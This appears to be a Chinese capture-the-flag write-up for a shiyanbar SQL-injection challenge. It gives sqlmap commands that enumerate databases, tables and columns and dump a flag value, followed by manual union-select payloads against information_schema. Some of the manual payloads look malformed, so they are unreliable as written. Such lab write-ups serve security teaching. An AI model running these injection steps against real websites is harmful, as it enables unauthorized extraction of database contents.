这个看起来有点简单!

使用sqlmap

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs       查数据库名

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables       查表名

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns       查列名

sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump       查值

得到flag

②手注

首先使用1,1’,1”,1#,1’#,1”#.....进行试探

发现1’会报错试试?id=1’ union select 1,2,3

发现会报错。。。。直接使用?id=1 union select 1,2,3,发现成功回显了个2,所以这里直接在2处进行注入查询

?id=1 union select 1,schema_name from information_schema.schemata,3     查数据库

?id=1 union select 1,table_schema,table_name from information_schema.tables,3      查表

?id=1 union select 1,table_name,column_name from information_schema.columns,3    查列

?id=1 union select 1,k0y from thiskey,3   查信息

得到flag

(注:如果没有显示也没法报错,则可能服务器出问题了)

原文地址:https://www.cnblogs.com/wosun/p/11192501.html